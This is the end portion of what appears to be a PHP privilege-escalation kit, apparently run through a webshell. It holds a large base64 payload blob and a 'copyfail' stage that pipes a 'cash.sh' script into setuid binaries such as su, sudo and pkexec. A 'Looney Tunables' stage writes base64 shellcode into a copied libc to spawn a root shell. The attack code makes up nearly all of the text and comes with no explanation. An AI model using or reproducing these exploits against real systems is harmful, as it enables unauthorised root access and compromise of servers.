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'); if ($cf && $cft) { $probe = trim(xrun('cd /tmp && '.shq($cft).' >/dev/null 2>&1; echo $?', 30)); step('copyfail-probe','info','rc='.$probe); if ($probe==='100') { foreach(array('/usr/bin/su','/bin/su','/usr/bin/sudo','/usr/bin/pkexec','/usr/bin/passwd','/usr/bin/mount') as $tg){ if ($tg==='' || !is_readable($tg)) continue; out('copyfail',$tg); xrun('printf "sh '.$W.'/cash.sh\nexit\n" | '.shq($cf).' '.shq($tg).' '.shq($tg).' 2>&1', 90); step('copyfail-'.basename($tg),'try'); if(rooted()) exit; } } } /* ---- 11: Looney Tunables ---- */ if ($GLIBC && vge(array_map('intval',explode('.',$GLIBC)),'2.34') && vlt(array_map('intval',explode('.',$GLIBC)),'2.38')) { foreach(array('/usr/bin/su','/bin/su') as $z){ if(is_readable($z) && isset($SUIDSET[$z])) $suidbin=$z; } if (!$suidbin){ foreach($SUIDSET as $z=>$n){ if(is_readable($z)){ $suidbin=$z; break; } } } if ($exp && $suidbin && trim(xrun('command -v readelf'))!=='') { $lib='/lib/x86_64-linux-gnu/libc.so.6'; if(!is_readable($lib)) $lib='/lib64/libc.so.6'; $sym=trim(xrun('readelf -sW '.shq($lib).' 2>/dev/null | awk \'$8=="__libc_start_main"{print $2; exit}\'')); if ($sym && is_readable($lib)) { $off=hexdec($sym); @copy($lib,$W.'/looney/libc.so.6'); if($off) { $sc=base64_decode('Mf+4aQAAAA8FMf+4agAAAA8FMdJSSLsvYmluL3NoAFNIiecx9rA7DwU='); $fh=@fopen($W.'/looney/libc.so.6','r+b'); if($fh){ fseek($fh,$off); fwrite($fh,$sc); fclose($fh); } out('looney',$suidbin); xrun('cd '.shq($W.'/looney').' && printf "sh '.$W.'/cash.sh\nexit\n" | ./looney '.shq($suidbin).' 2>&1', 90); step('looney','try'); if(rooted()) exit; } } } } /* ---- 12: cron writable ---- */ step('end','done', 'rooted='.rooted()); /* ---------- helpers ---- */ function plac($n,$b64){ return pl($n,$b64); } function stepKi($n,$s){ step($n,$s); } function stepLan($n,$s,$i){ step($n,$s,$i); } function shqut($s){ return shq($s); } function outut($k,$v){ out($k,$v); } function ashtray($a){ return $a; } ?>